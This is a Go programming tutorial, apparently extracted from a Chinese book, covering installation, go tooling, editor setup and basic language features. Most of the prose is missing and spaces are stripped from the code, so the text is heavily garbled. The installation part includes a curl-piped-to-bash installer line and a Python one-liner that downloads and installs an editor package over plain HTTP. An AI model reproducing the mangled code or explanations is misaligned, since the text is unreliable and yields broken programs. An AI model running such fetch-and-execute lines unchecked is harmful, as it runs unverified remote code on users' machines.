Post on 25-May-2020
1.Go1.1.Go1.2.GOPATH1.3.Go1.4.Go1.5.
2.Go2.1.Go2.2.Go2.3.2.4.struct2.5.2.6.interface2.7.2.8.
3.Web3.1web3.2Goweb3.3Goweb3.4Gohttp3.5
4.4.14.24.34.44.54.6
5.5.1database/sql5.2MySQL5.3SQLite
5.4PostgreSQL5.5beedbORM5.6NOSQL5.7
6.session6.1sessioncookie6.2Gosession6.3session6.4session6.5
7.7.1XML7.2JSON7.37.47.57.67.7
8.Web8.1Socket8.2WebSocket8.3REST8.4RPC8.5
9.9.1CSRF9.29.3XSS9.4SQL9.59.6/9.7
10.10.110.210.310.4
11.11.111.2GDB11.3Go11.4
12.12.112.212.312.412.5
13.Web13.113.213.3controller13.413.5//13.6
14.Web14.114.2Session14.314.414.514.6pprof14.7
A
1.1Go
3
Go3
UnixGoWindows,Linux,Macbit"Next"Ubuntuapt-getMachomebrew
Go GVM
Go
GoPlan9CAT&TC
MacXcode
UnixgccUbuntu sudoapt-getinstallgcclibc6-dev
WindowsMinGWMinGWgcc
goVERSION.src.tar.gz $HOME
cdgo/src./all.bash
all.bash"ALLTESTSPASSED"
UnixWindows all.batMinGWgcc
MacUnix .bashrc.zsh
exportGOPATH=$HOME/gopathexportPATH=$PATH:$HOME/go/bin:$GOPATH/bin
bash.bashrcbash.zshrc
Windowspathgogopath
go
1.1Go
GoUsageGoPATHGo
GOPATH
Go
Go/usr/local/goWindowsc:\Go
exportGOROOT=$HOME/goexportGOPATH=$HOME/gopathexportPATH=$PATH:$GOROOT/bin:$GOPATH/bin
MacUnix .bashrc.zshrcWindows
32bit 64bit
Gobit
WindowsWin+Rcmd systeminfo"""x64-basedPC"64bit"X86-basedPC"32bit
Mac64bitGoMacOSX32bit
LinuxTerminal arch( uname-a)
64bit
x86_64
32bit
i386
Mac
URL 32bitgo1.4.2.darwin-386-osx10.8.pkg64bitgo1.4.2.darwin-amd64-osx10.8.pkggoPATH
goUsagegoPATHgo
Linux
URL 32bitgo1.4.2.linux-386.tar.gz64bitgo1.2.2.linux-amd64.tar.gz
Go $GO_INSTALL_DIR
tar.gz tarzxvfgo1.4.2.linux-amd64.tar.gz-C$GO_INSTALL_DIR
PATH exportPATH=$PATH:$GO_INSTALL_DIR/go/bin
go
1.2Linuxgo
goUsagegoPATHgo
Windows
GoogleCode 32bitwindows-386msi64bitwindows-amd64C:\Go\GoPathGobin C:\Go\bin\Go C:\Go\GOROOT
cmd goUsage cd%GOROOT%Go
PathGOROOT
GVM
gvmGorubyrvmgvm
bash<<(curl-s-S-Lhttps://raw.github.com/moovweb/gvm/master/binscripts/gvm-installer)
go
gvminstallgo1.4.2gvmusego1.4.2
gvmuse gvmusego1.4.2--default
GOPATHGOROOT
apt-get
UbuntuLinux apt-getGo gitmercurial
sudoapt-getinstallpython-software-propertiessudoadd-apt-repositoryppa:gophers/gosudoapt-getupdatesudoapt-getinstallgolang-stablegit-coremercurial
homebrew
homebrewMacGoGo gitmercurial
brewupdate&&brewupgradebrewinstallgobrewinstallgit
brewinstallmercurial
links
: Go: GOPATH
1.2GOPATHGoGOPATHGo1.1GoGoGosrcbinpkg
GOPATH
go$GOPATH 1
Windows %GOPATH%UnixWindows
GoGOPATH
Unix
exportGOPATH=/home/apple/mygo
.bashrc.zshrcsh
WindowsGOPATH
GOPATH=c:\mygo
GOPATHWindowsLinuxGOPATHgoget
$GOPATH
src.go.c.h.spkg.abin$PATHgopath ${GOPATH//://bin:}/binbin
mygogopath
GOPATHsrc$GOPATH/src/mymathmymathpackagemainmainpackage
srcsrc$GOPATH/src/github.com/astaxie/beedb"github.com/astaxie/beedb"beedb
mymath
cd$GOPATH/srcmkdirmymath
sqrt.go
//$GOPATH/src/mymath/sqrt.gopackagemymath
funcSqrt(xfloat64)float64{z:=0.0fori:=0;i<1000;i++{z-=(z*z-x)/(2*x)}returnz}
package
/
1 goinstall
2 goinstallmymath
cd$GOPATH/pkg/${GOOS}_${GOARCH}//mymath.a
.a
mathapp
cd$GOPATH/srcmkdirmathappcdmathappvimmain.go
$GOPATH/src/mathapp/main.go
packagemain
import("mymath""fmt")
funcmain(){fmt.Printf("Hello,world.Sqrt(2)=%v\n",mymath.Sqrt(2))}
mainimport mymath $GOPATH/srcimportGOPATHGo $GOPATH/src
gobuildmathapp
./mathapp
Hello,world.Sqrt(2)=1.414213562373095
goinstall$GOPATH/bin/mathapp $GOPATH/binPATH
mathapp
Hello,world.Sqrt(2)=1.414213562373095
/
go gogetgogetgithubgooglecodebitbucketLaunchpad
gogetgithub.com/astaxie/beedb
goget-ugoget
githubgitgooglecodehg
$GOPATHsrc|--github.com|-astaxie|-beedbpkg|--|-github.com|--astaxie|beedb.a
gogetsrcclone goinstall
import
import"github.com/astaxie/beedb"
mygo
bin/mathapppkg//darwin_amd64linux_amd64mymath.agithub.com/
astaxie/beedb.asrc/mathappmain.gomymath/sqrt.gogithub.com/astaxie/beedb/beedb.goutil.go
binpkgsrc
links
: GO: GO
1.3Go
Go
Go go
main gobuild $GOPATH/bin goinstall gobuild-o/a.exe
gobuild gobuilda.go gobuildgo
1.2 mathapp gobuild-oastaxie.exepackagemainmain
package Go"package"
gobuild"_""."go
array_linux.goarray_darwin.goarray_windows.goarray_freebsd.go
gobuildLinuxDarwinWindowsFreebsd
-o gobuild-oa/b/c
-i+ goinstall
-a-n-pnCPU-race64bit-v-work-x -n
-ccflags'arglist'5c,6c,8c-compilernamegccgogc-gccgoflags'arglist'gccgo-gcflags'arglist'5g,6g,8g-installsuffixsuffix -race -installsuffixrace -n
-ldflags'flaglist'5l,6l,8l-tags'taglist'tagtag BuildConstraints
goclean
_obj/objectMakeFiles_test/testMakefiles_testmain.gogotestMakefilestest.outtestMakefilesbuild.outtestMakefiles*.[568ao]objectMakefiles
DIR(.exe)gobuildDIR.test(.exe)gotest-cMAINFILE(.exe)gobuildMAINFILE.go*.soSWIG
$goclean-i-ncd/Users/astaxie/develop/gopath/src/mathapprm-fmathappmathapp.exemathapp.testmathapp.test.exeappapp.exerm-f/Users/astaxie/develop/gopath/bin/mathapp
-igoinstall-n-rimport-x -n
gofmt
C/C++K&RANSIgoANSIgogogofmt gofmt gofmt
gofmtgofmt-wgofmt-w-lsrc
gofmtgofmt gofmt
gofmt
-l-w-r“a[b:len(a)]->a[b:]”-s-ddifffalse-e10-cpuprofilecpufile
goget
BitBucketGitHubGoogleCodeLaunchpad212 goinstallgo
BitBucket(MercurialGit)GitHub(Git)GoogleCodeProjectHosting(Git,Mercurial,Subversion)Launchpad(Bazaar)
gogetPATH goget gohelpremote
-d-f-u -uimportfork-fixfix
-t-u-v
goinstall
21a2
gobuild -v
gotest
*_test.go/
okarchive/tar0.011sFAILarchive/zip0.022sokcompress/gzip0.033s...
test
-benchregexpbenchmarks -bench=.
-cover-runregexpregexp -run=ArrayArray-v
gotool
gotoolfixvet
gotoolfix.go1go1API
gotoolvetdirectory|filesfmt.Printfreturn
gogenerate
Go1.4 gogenerategobuild gogenerate
yacc
gotoolyacc-ogopher.go-pparsergopher.y
-o-p gogenerate xxx.go
//go:generategotoolyacc-ogopher.go-pparsergopher.y
//go:generate
gopher.y gogenerate
$gogenerate$gobuild$gotest
godoc
Go1.2 godocgodoc gogetgolang.org/x/tools/cmd/godoc
gochm chm
package builtin godocbuiltinnet/http godocfmtPrintf
godoc-http=: godoc-http=:8080 127.0.0.1:8080copypkgGOPATHpkg
go
goversion gogoenv gogolistpackagegorunGo
gohelp
links
: GOPATH: Go
1.4Gofmt
LiteIDE
LiteIDEGo(IDE)visualfc
GOPATHGo
Gocode()GoApi
F1
F2
Gdbgofmt
Kate
Markdown
CSSHTMLPDFHTML/PDF
LiteIDE
LiteIDE
http://sourceforge.net/projects/liteide/files/>
https://github.com/visualfc/liteide
GoLiteIDE
LiteIDE
Windows 64bitGowin64 `` LiteIDEwin64. env
GOROOT=c:\goGOBIN=GOARCH=amd64GOOS=windowsCGO_ENABLED=1
PATH=%GOBIN%;%GOROOT%\bin;%PATH%
`GOROOT=c:\go`GoMinGW64`c:\MinGW64\bin`PATHgogccCGO
Linux 64bitGolinux64 `` LiteIDElinux64. env
GOROOT=$HOME/goGOBIN=GOARCH=amd64GOOS=linuxCGO_ENABLED=1
PATH=$GOBIN:$GOROOT/bin:$PATH
`GOROOT=$HOME/go`Go
GOPATH
GoGOPATHGo(LiteIDE`Ctrl+,`)`gohelpgopath`GOPATH
LiteIDEGOPATH`--GOPATH`GOPATH
GOPATH
Go
1.6sublime
SublimeText2
Sublime
SublimeSublime SublimeText2
1. PackageControlCtrl+`
importurllib2,os;pf='PackageControl.sublime-package';ipp=sublime.installed_packages_path();os.makedirs(ipp)ifnot
os.path.exists(ipp)elseNone;urllib2.install_opener(urllib2.build_opener(urllib2.ProxyHandler()));open(os.path.join(ipp,pf),'wb').write(urllib2.urlopen('http://sublime.wbond.net/'+pf.replace('','%20')).read());print'PleaserestartSublimeTexttofinishinstallation'
SublimePackageControl
1.7sublime
1. SublimeGoSublime,SidebarEnhancementsGoBuildSublimeCtrl+Shift+pPackageControl pcip"PackageControl:InstallPackage"
1.8sublime
GoSublimeSidebarEnhancementsGoBuild
2. Sublimemain.go import import"fmt"fmt.
$PATHgocode $PATH(XP)sublimesublimetext3convertutf8
3. MacOS$GOROOT,$GOPATH,$GOBIN
sublimecommand+9env$PATH,$GOROOT,$GOPATH,$GOBIN
Terminalsublime
ln-s/Applications/Sublime\Text\2.app/Contents/SharedSupport/bin/subl/usr/local/bin/sublime
Vim
Vimvi
1.9VIMGo
1. vim
cp-r$GOROOT/misc/vim/*~/.vim/
2. ~/.vimrc
filetypepluginindentonsyntaxon
3. Gocode
goget-ugithub.com/nsf/gocode
gocode $GOPATH/bin
4. Gocode
~cd$GOPATH/src/github.com/nsf/gocode/vim~./update.bash~gocodesetpropose-builtinstruepropose-builtinstrue~gocodesetlib-path"/home/border/gocode/pkg/linux_amd64"lib-path"/home/border/gocode/pkg/linux_amd64"~gocodesetpropose-builtinstruelib-path"/home/border/gocode/pkg/linux_amd64"
gocodeset
propose-builtinsGofalse
lib-path:gocode $GOPATH/pkg/$GOOS_$GOARCH$GOROOT/pkg/$GOOS_$GOARCHlib
1. :emain.goGo
VIM
Emacs
Emacs
1.10EmacsGo
1. Emacs
cp$GOROOT/misc/emacs/*~/.emacs.d/
2. Gocode
goget-ugithub.com/nsf/gocode
gocode`$GOBIN`
3. Gocode
~cd$GOPATH/src/github.com/nsf/gocode/emacs~cpgo-autocomplete.el~/.emacs.d/~gocodesetpropose-builtinstruepropose-builtinstrue~gocodesetlib-path"/home/border/gocode/pkg/linux_amd64"//
lib-path"/home/border/gocode/pkg/linux_amd64"~gocodesetpropose-builtinstruelib-path"/home/border/gocode/pkg/linux_amd64"
1. AutoCompletion
AutoComplete
~makeinstallDIR=$HOME/.emacs.d/auto-complete
~/.emacs
;;auto-complete(require'auto-complete-config)(add-to-list'ac-dictionary-directories"~/.emacs.d/auto-complete/ac-dict")(ac-config-default)(local-set-key(kbd"M-/")'semantic-complete-analyze-inline)(local-set-key"."'semantic-complete-self-insert)(local-set-key">"'semantic-complete-self-insert)
http://www.emacswiki.org/emacs/AutoComplete
2. .emacs
;;golangmode(require'go-mode-load)(require'go-autocomplete);;speedbar;;(speedbar1)(speedbar-add-supported-extension".go")(add-hook'go-mode-hook'(lambda();;gocode(auto-complete-mode1)(setqac-sources'(ac-source-go));;Imenu&Speedbar
(setqimenu-generic-expression'(("type""^type*\\([^\t\n\r\f]*\\)"1)("func""^func*\\(.*\\){"1)))(imenu-add-to-menubar"Index");;Outlinemode(make-local-variable'outline-regexp)(setqoutline-regexp"//\\.\\|//[^\r\n\f][^\r\n\f]\\|pack\\|func\\|impo\\|cons\\|var.\\|type\\|\t\t*....")(outline-minor-mode1)(local-set-key"\M-a"'outline-previous-visible-heading)(local-set-key"\M-e"'outline-next-visible-heading);;Menubar(require'easymenu)(defconstgo-hooked-menu'("Gotools"["Gorunbuffer"got]["Goreformatbuffer"go-fmt-buffert]["Gocheckbuffer"go-fix-buffert]))(easy-menu-definego-added-menu(current-local-map)"Gotools"go-hooked-menu)
;;Other(setqshow-trailing-whitespacet)));;helperfunction(defungo()"runcurrentbuffer"(interactive)(compile(concat"gorun"(buffer-file-name))))
;;helperfunction(defungo-fmt-buffer()"rungofmtoncurrentbuffer"(interactive)(ifbuffer-read-only(progn(ding)(message"Bufferisreadonly"))(let((p(line-number-at-pos))(filename(buffer-file-name))(old-max-mini-window-heightmax-mini-window-height))(show-all)(if(get-buffer"*GoReformatErrors*")
(progn(delete-windows-on"*GoReformatErrors*")(kill-buffer"*GoReformatErrors*")))(setqmax-mini-window-height1)(if(=0(shell-command-on-region(point-min)(point-max)"gofmt""*GoReformatOutput*"nil"*GoReformatErrors*"t))(progn(erase-buffer)(insert-buffer-substring"*GoReformatOutput*")(goto-char(point-min))(forward-line(1-p)))(with-current-buffer"*GoReformatErrors*"(progn(goto-char(point-min))(while(re-search-forward"<standardinput>"nilt)(replace-matchfilename))(goto-char(point-min))(compilation-mode))))(setqmax-mini-window-heightold-max-mini-window-height)(delete-windows-on"*GoReformatOutput*")(kill-buffer"*GoReformatOutput*"))));;helperfunction(defungo-fix-buffer()"rungofixoncurrentbuffer"(interactive)(show-all)(shell-command-on-region(point-min)(point-max)"gotoolfix-diff"))
3. Gospeedbar;;(speedbar1) M-xspeedbar
Eclipse
EclipseEclipseGo
1.11EclipseGo
1. Eclipse
2. goclipse
http://code.google.com/p/goclipse/wiki/InstallationInstructions
3. gocodego
gocodegithub
https://github.com/nsf/gocode
windowsgit[ msysgit](https://code.google.com/p/msysgit/)
cmd
goget-ugithub.com/nsf/gocode
gobuildgocode.exe
4. MinGW
5.
Windows->Reference->Go
(1).Go
1.12Go
1.5GoGo3 $GOPATH $GOPATHGoGoGoGoLiteIDEsublimeVIMEmacsEclipseIdeaGo
links
: Go: Go
2GoGoC25
breakdefaultfuncinterfaceselectcasedefergomapstructchanelsegotopackageswitchconstfallthroughifrangetypecontinueforimportreturnvar
GoGo25
import"fmt"
funcmain(){fmt.Printf("Hello,worldor�����orκαλημρακóσμor��������\n")}
Hello,worldor orκαλημρακóσμor
Go package
package<pkgName> packagemain1 mainmain *.a $GOPATH/pkg/$GOOS_$GOARCHMac
$GOPATH/pkg/darwin_amd64
Gopackagemain main main
Hello,world... Printf fmt3 fmt import"fmt"
Pythonpackage
5 funcmain {}()CC++Java
main0
6 fmt Printf <pkgName>.<funcName>Python
<pkgName> package<pkgName>
ASCIIGoUTF-8UTF-8
GopackagePython main.main()GoUTF-8UTF-8Go
links
: Go: Go
2.2GoGoGo
Go
varGoCGo
//"variableName" "type"varvariableNametype
//"type"3varvname1,vname2,vname3type
//"variableName" "value" "type"varvariableNametype=value
/* "type"vname1v1vname2v2vname3v3*/varvname1,vname2,vname3type=v1,v2,v3
Go
/*3vname1v1vname2v2vname3v3Go*/varvname1,vname2,vname3=v1,v2,v3
/*3vname1v1vname2v2vname3v3*/vname1,vname2,vname3:=v1,v2,v3
:=vartype var
_ 35b 34
_,b:=34,35
Go i
packagemain
funcmain(){variint}
bool
constconstantName=value//constPifloat32=3.1415926
constPi=3.1415926consti=10000constMaxThread=10constprefix="astaxie_"
Go(200)float3232bitfloat6464bit
Boolean
Goboolbool truefalse false
//varisActivebool//varenabled,disabled=true,false//functest(){varavailablebool//valid:=false//available=true//}
Go intuintGobit rune,int8,int16,int32,int64byte,uint8,uint16,uint32,uint64 runeint32
byteuint8
invalidoperation:a+b(mismatchedtypesint8andint32)
varaint8
varbint32
c:=a+b
int32bitintint32
float32float64float float64
No!Go complex12864bit+64bit complex6432bit+32bitRE+IMi RE IM i
varccomplex64=5+5i//output:(5+5i)fmt.Printf("Valueis:%v",c)
Go UTF-8( "") string
//varfrenchHellostring//varemptyStringstring=""//functest(){no,yes,maybe:="no","yes","maybe"//japaneseHello:="Konichiwa"//frenchHello="Bonjour"//}
Gocannotassigntos[0]
varsstring="hello"s[0]='c'
s:="hello"c:=[]byte(s)//s[]bytec[0]='c's2:=string(c)//stringfmt.Printf("%s\n",s2)
Go+
s:="hello,"m:="world"a:=s+mfmt.Printf("%s\n",a)
s:="hello"s="c"+s[1:]//
fmt.Printf("%s\n",s)
m:=`helloworld`
Raw
helloworld
GoerrorGo package errors
err:=errors.New("emitmachodwarf:elfheadercorrupted")iferr!=nil{fmt.Print(err)}
Go
RussCoxBlogGo
import"fmt"import"os"
consti=100constpi=3.1415constprefix="Go_"
variintvarpifloat32varprefixstring
import("fmt""os")
const(i=100pi=3.1415prefix="Go_")
var(iintpifloat32prefixstring)
iota
Goiota enum01
const(x=iota//x==0y=iota//y==1z=iota//z==2w//w=iotaw==3yz"=iota"
)
constv=iota//constiotav==0
const(e,f,g=iota,iota,iota//e=0,f=0,g=0iota)
iota const0 iota iota
Go
Go
classpublic private
array slice map
array
array
vararr[n]type
[n]type n type []
vararr[10]int//intarr[0]=42//0arr[1]=13//fmt.Printf("Thefirstelementis%d\n",arr[0])//42
fmt.Printf("Thelastelementis%d\n",arr[9])//0
[3]int[4]int slice
:=
a:=[3]int{1,2,3}//3int
b:=[10]int{1,2,3}//10int31230
c:=[...]int{4,5,6}//`...`Go
Go
//4intdoubleArray:=[2][4]int{[4]int{1,2,3,4},[4]int{5,6,7,8}}
//easyArray:=[2][4]int{{1,2,3,4},{5,6,7,8}}
2.2
slice
""Go slice
slice slicearray slicearray
//arrayvarfslice[]int
slice
slice:=[]byte{'a','b','c','d'}
sliceslice slicearray[i:j] i j array[j] j-i
//10bytevarar=[10]byte{'a','b','c','d','e','f','g','h','i','j'}
//byteslicevara,b[]byte
//a35a=ar[2:5]//aar[2]ar[3]ar[4]
//barsliceb=ar[3:5]//bar[3]ar[4]
slice ... slice
2.3slicearray
slice
slice0 ar[:n]ar[0:n]
slice ar[n:]ar[n:len(ar)]
slice ar[:]0 ar[0:len(ar)]
slice
//vararray=[10]byte{'a','b','c','d','e','f','g','h','i','j'}//slicevaraSlice,bSlice[]byte
//aSlice=array[:3]//aSlice=array[0:3]aSlice:a,b,c
aSlice=array[5:]//aSlice=array[5:10]aSlice:f,g,h,i,j
aSlice=array[:]//aSlice=array[0:10]aSlice
//slicesliceaSlice=array[3:7]//aSlice:d,e,f,glen=4cap=7bSlice=aSlice[1:3]//bSliceaSlice[1],aSlice[2]:e,f
bSlice=aSlice[:3]//bSliceaSlice[0],aSlice[1],aSlice[2]:d,e,fbSlice=aSlice[0:5]//sliceslicecapbSliced,e,f,g,h
bSlice=aSlice[:]//bSliceaSlice:d,e,f,g
slice aSlicebSlice aSlice bSlice
slice3
slice
slice
slice
Array_a:=[10]byte{'a','b','c','d','e','f','g','h','i','j'}Slice_a:=Array_a[2:5]
2.4slice
slice
lenslicecapsliceappendslice sliceslice
copy copyslicesrcdst
appendslice slice slice (cap-len)==0 sliceslice
Go1.2slicesliceslicearrayslice
vararray[10]intslice:=array[2:4]
slice8
slice=array[2:4:7]
7-25slice3
slicearray[:i:j]0
map
mapPython map[keyType]valueType
mapslice key sliceindexint map intstring==!=
//keyintmake
varnumbersmap[string]int//mapnumbers:=make(map[string]int)numbers["one"]=1//numbers["ten"]=10//
numbers["three"]=3
fmt.Println(":" ,numbers["three"])////"3"
map key
map
map map index key
map slice
lenmap mapkey
map numbers["one"]=11keyone 11
mapthread-safego-routinemutexlock
mapkey:val mapkey
deletemap
//rating:=map[string]float32{"C":5,"Go":4.5,"Python":4.5,"C++":2}//mapkeyokfalseoktrue
csharpRating,ok:=rating["C#"]ifok{fmt.Println("C#isinthemapanditsratingis",csharpRating)}else{fmt.Println("WehavenoratingassociatedwithC#inthemap")}
delete(rating,"C")//keyC
map map
m:=make(map[string]string)m["Hello"]="Bonjour"
m1:=mm1["Hello"]="Salut"//m["hello"]Salut
make,new
makemapslicechannel new
new new(T)T *TGo T
new
make(T,args)new(T)make slicemapchannel T *Tarray slice slicenil slice,map,channel
make
make
newmake
2.5makenew
""""0
int0int80int320int640uint0x0rune0//runeint32byte0x0//byteuint8float320//4bytefloat640//8byteboolfalsestring""
links
: Go:
2.3Go
Go
if
if
Goif
ifx>10{fmt.Println("xisgreaterthan10")}else{fmt.Println("xislessthan10")}
Goif
//xx10ifx:=computedValue();x>10{fmt.Println("xisgreaterthan10")}else{fmt.Println("xislessthan10")}
//xfmt.Println(x)
ifinteger==3{fmt.Println("Theintegerisequalto3")}elseifinteger<3{fmt.Println("Theintegerislessthan3")}else{fmt.Println("Theintegerisgreaterthan3")}
goto
Gogoto-- goto
funcmyFunc(){i:=0Here://println(i)i++gotoHere//Here}
for
Go for while
forexpression1;expression2;expression3{//...}
expression1expression2expression3 expression1expression3expression2 expression1 expression3
packagemainimport"fmt"
funcmain(){sum:=0;forindex:=0;index<10;index++{sum+=index}fmt.Println("sumisequalto",sum)}//sumisequalto45
Go , i,j=i+1,j-1
expression1expression3
sum:=1for;sum<1000;{sum+=sum}
; while
sum:=1forsum<1000{sum+=sum}
breakcontinue break continue break
forindex:=10;index>0;index--{ifindex==5{break// continue}fmt.Println(index)}//break 109876
//continue 1098764321
breakcontinue
forrangeslicemap
fork,v:=rangemap{fmt.Println("map'skey:",k)fmt.Println("map'sval:",v)}
Go"""" _
for_,v:=rangemap{fmt.Println("map'sval:",v)}
switch
if-else switch
switchsExpr{caseexpr1:someinstructionscaseexpr2:someotherinstructionscaseexpr3:someotherinstructionsdefault:othercode}
sExprexpr1expr2expr3Go switch switch true
i:=10
switchi{case1:fmt.Println("iisequalto1")case2,3,4:fmt.Println("iisequalto2,3or4")case10:fmt.Println("iisequalto10")default:fmt.Println("AllIknowisthatiisaninteger")}
5 caseGo switch casebreakcase switchfallthroughcase
integer:=6switchinteger{case4:fmt.Println("Theintegerwas<=4")fallthroughcase5:fmt.Println("Theintegerwas<=5")fallthroughcase6:fmt.Println("Theintegerwas<=6")fallthroughcase7:fmt.Println("Theintegerwas<=7")fallthroughcase8:fmt.Println("Theintegerwas<=8")fallthroughdefault:fmt.Println("defaultcase")}
Theintegerwas<=6Theintegerwas<=7Theintegerwas<=8defaultcase
Go func
funcfuncName(input1type1,input2type2)(output1type1,output2type2){////returnvalue1,value2}
funcfuncName
,
output1output2
return
Max
packagemainimport"fmt"
//abfuncmax(a,bint)int{ifa>b{returna}returnb}
funcmain(){
x:=3y:=4z:=5
max_xy:=max(x,y)//max(x,y)max_xz:=max(x,z)//max(x,z)
fmt.Printf("max(%d,%d)=%d\n",x,y,max_xy)fmt.Printf("max(%d,%d)=%d\n",x,z,max_xz)fmt.Printf("max(%d,%d)=%d\n",y,z,max(y,z))//
}
max inta,bint,aint,bint
GoC
packagemainimport"fmt"
//A+BA*BfuncSumAndProduct(A,Bint)(int,int){returnA+B,A*B}
funcmain(){x:=3y:=4
xPLUSy,xTIMESy:=SumAndProduct(x,y)
fmt.Printf("%d+%d=%d\n",x,y,xPLUSy)fmt.Printf("%d*%d=%d\n",x,y,xTIMESy)}
funcSumAndProduct(A,Bint)(addint,Multipliedint){add=A+BMultiplied=A*Breturn}
Go
funcmyfunc(arg...int){}
arg...intGo int argintslice
for_,n:=rangearg{fmt.Printf("Andthenumberis:%d\n",n)}
packagemainimport"fmt"
//+1funcadd1(aint)int{a=a+1//areturna//}
funcmain(){x:=3
fmt.Println("x=",x)//"x=3"
x1:=add1(x)//add1(x)
fmt.Println("x+1=",x1)//"x+1=4"fmt.Println("x=",x)//"x=3"}
add1 add1a=a+1 x
add1 add1x x
x
add1x x x&x int*int x
packagemainimport"fmt"
//+1funcadd1(a*int)int{//*a=*a+1//areturn*a//}
funcmain(){x:=3
fmt.Println("x=",x)//"x=3"
x1:=add1(&x)//add1(&x)x
fmt.Println("x+1=",x1)//"x+1=4"fmt.Println("x=",x)//"x=4"}
x
8Gostringslicemap slice
defer
Go(defer)deferdefer
funcReadWrite()bool{file.Open("file")//iffailureX{file.Close()returnfalse}
iffailureY{file.Close()returnfalse}
file.Close()returntrue}
Go defer defer
funcReadWrite()bool{file.Open("file")deferfile.Close()iffailureX{returnfalse}iffailureY{returnfalse}returntrue}
defer deferLIFO 43210
fori:=0;i<5;i++{deferfmt.Printf("%d",i)}
Go type
typetypeNamefunc(input1inputType1,input2inputType2[,...])(result1resultType1[,...])
packagemainimport"fmt"
typetestIntfunc(int)bool//
funcisOdd(integerint)bool{ifinteger%2==0{returnfalse}returntrue}
funcisEven(integerint)bool{ifinteger%2==0{returntrue}returnfalse}
//
funcfilter(slice[]int,ftestInt)[]int{varresult[]intfor_,value:=rangeslice{
iff(value){result=append(result,value)}}returnresult}
funcmain(){slice:=[]int{1,2,3,4,5,7}fmt.Println("slice=",slice)odd:=filter(slice,isOdd)//fmt.Println("Oddelementsofsliceare:",odd)even:=filter(slice,isEven)//fmt.Println("Evenelementsofsliceare:",even)}
testInt filtertestInt
Panic Recover
GoJava panicrecover panic
Panic
Fpanic panicgoroutine panic
Recover
goroutine recover recover nil goroutinerecover panic
panic
varuser=os.Getenv("USER")
funcinit(){ifuser==""{panic("novaluefor$USER")}
}
panic
functhrowsPanic(ffunc())(bbool){deferfunc(){ifx:=recover();x!=nil{b=true}}()f()//ffpanicreturn}
maininit
Go init package mainpackagemain packageinitpackage init
Goinit()main() packageinit packagemainmain
main maininit main
2.6main
import
Goimport
import("fmt")
fmt.Println("helloworld")
fmtGo GOROOTGo
1.
import"./model"//modelimport
2.
import"shorturl/model"//gopath/src/shorturl/model
importimport
1.
import(."fmt")
fmt.Println("helloworld")Println("hello
world")
2.
import(f"fmt")
f.Println("helloworld")
3. _
import
import("database/sql"_"github.com/ziutek/mymysql/godrv")
_init
links
: Go: struct
2.4struct
struct
GoC person struct
typepersonstruct{namestringageint}
struct
stringnameintage
struct
typepersonstruct{namestringageint}
varPperson//Pperson
P.name="Astaxie"//"Astaxie"PnameP.age=25//"25"Pagefmt.Printf("Theperson'snameis%s",P.name)//Pname
P
1.
P:=person{"Tom",25}
2.field:value
P:=person{age:24,name:"Tom"}
3.newP*person
P:=new(person)
struct
packagemainimport"fmt"
//typepersonstruct{namestringageint}
////structfuncOlder(p1,p2person)(person,int){ifp1.age>p2.age{//p1p2returnp1,p1.age-p2.age}returnp2,p2.age-p1.age}
funcmain(){vartomperson
//tom.name,tom.age="Tom",18
//bob:=person{age:25,name:"Bob"}
//structpaul:=person{"Paul",43}
tb_Older,tb_diff:=Older(tom,bob)tp_Older,tp_diff:=Older(tom,paul)bp_Older,bp_diff:=Older(bob,paul)
fmt.Printf("Of%sand%s,%sisolderby%dyears\n",tom.name,bob.name,tb_Older.name,tb_diff)
fmt.Printf("Of%sand%s,%sisolderby%dyears\n",tom.name,paul.name,tp_Older.name,tp_diff)
fmt.Printf("Of%sand%s,%sisolderby%dyears\n",bob.name,paul.name,bp_Older.name,bp_diff)}
struct
structGo
structstructstruct
packagemainimport"fmt"
typeHumanstruct{namestringageintweightint}
typeStudentstruct{Human//StudentHumanspecialitystring}
funcmain(){//mark:=Student{Human{"Mark",25,120},"ComputerScience"}
//fmt.Println("Hisnameis",mark.name)fmt.Println("Hisageis",mark.age)fmt.Println("Hisweightis",mark.weight)fmt.Println("Hisspecialityis",mark.speciality)//mark.speciality="AI"fmt.Println("Markchangedhisspeciality")fmt.Println("Hisspecialityis",mark.speciality)//fmt.Println("Markbecomeold")mark.age=46
fmt.Println("Hisageis",mark.age)//fmt.Println("Markisnotanathletanymore")mark.weight+=60fmt.Println("Hisweightis",mark.weight)}
:
2.7StudentHuman
StudentagenamestudentHuman
mark.Human=Human{"Marcus",55,220}mark.Human.age-=1
struct
packagemainimport"fmt"
typeSkills[]string
typeHumanstruct{namestringageintweightint}
typeStudentstruct{Human//structSkills//stringsliceint//specialitystring}
funcmain(){//Jannjane:=Student{Human:Human{"Jane",35,100},speciality:"Biology"}//fmt.Println("Hernameis",jane.name)fmt.Println("Herageis",jane.age)fmt.Println("Herweightis",jane.weight)fmt.Println("Herspecialityis",jane.speciality)//skilljane.Skills=[]string{"anatomy"}fmt.Println("Herskillsare",jane.Skills)fmt.Println("Sheacquiredtwonewones")jane.Skills=append(jane.Skills,"physics","golang")fmt.Println("Herskillsnoware",jane.Skills)//jane.int=3fmt.Println("Herpreferrednumberis",jane.int)}
structstructappend
humanphonestudentphone
Go student.phonestudenthuman
packagemainimport"fmt"
typeHumanstruct{namestringageintphonestring//Human}
typeEmployeestruct{Human//Humanspecialitystringphonestring//phone}
funcmain(){Bob:=Employee{Human{"Bob",34,"777-444-XXXX"},"Designer","333-222"}fmt.Println("Bob'sworkphoneis:",Bob.phone)//Humanphonefmt.Println("Bob'spersonalphoneis:",Bob.Human.phone)}
links
::
2.5structstruct method
method
struct
packagemainimport"fmt"
typeRectanglestruct{width,heightfloat64}
funcarea(rRectangle)float64{returnr.width*r.height}
funcmain(){r1:=Rectangle{12,2}r2:=Rectangle{9,4}fmt.Println("Areaofr1is:",area(r1))fmt.Println("Areaofr2is:",area(r2))}
area()RectangleRectangler1,r2
area_rectangle,area_circle,area_triangle...
structclassstructstruct
2.8struct
""""
method method funcreceivermethod
method area()RectangleRectangle.area()Rectanglearea()Rectangle
Rectanglelengthwidtharea()Rectangle
RobPike
"Amethodisafunctionwithanimplicitfirstargument,calledareceiver."
method
func(rReceiverType)funcName(parameters)(results)
method
packagemainimport("fmt""math")
typeRectanglestruct{width,heightfloat64}
typeCirclestruct{radiusfloat64}
func(rRectangle)area()float64{returnr.width*r.height}
func(cCircle)area()float64{returnc.radius*c.radius*math.Pi}
funcmain(){
r1:=Rectangle{12,2}r2:=Rectangle{9,4}c1:=Circle{10}c2:=Circle{25}
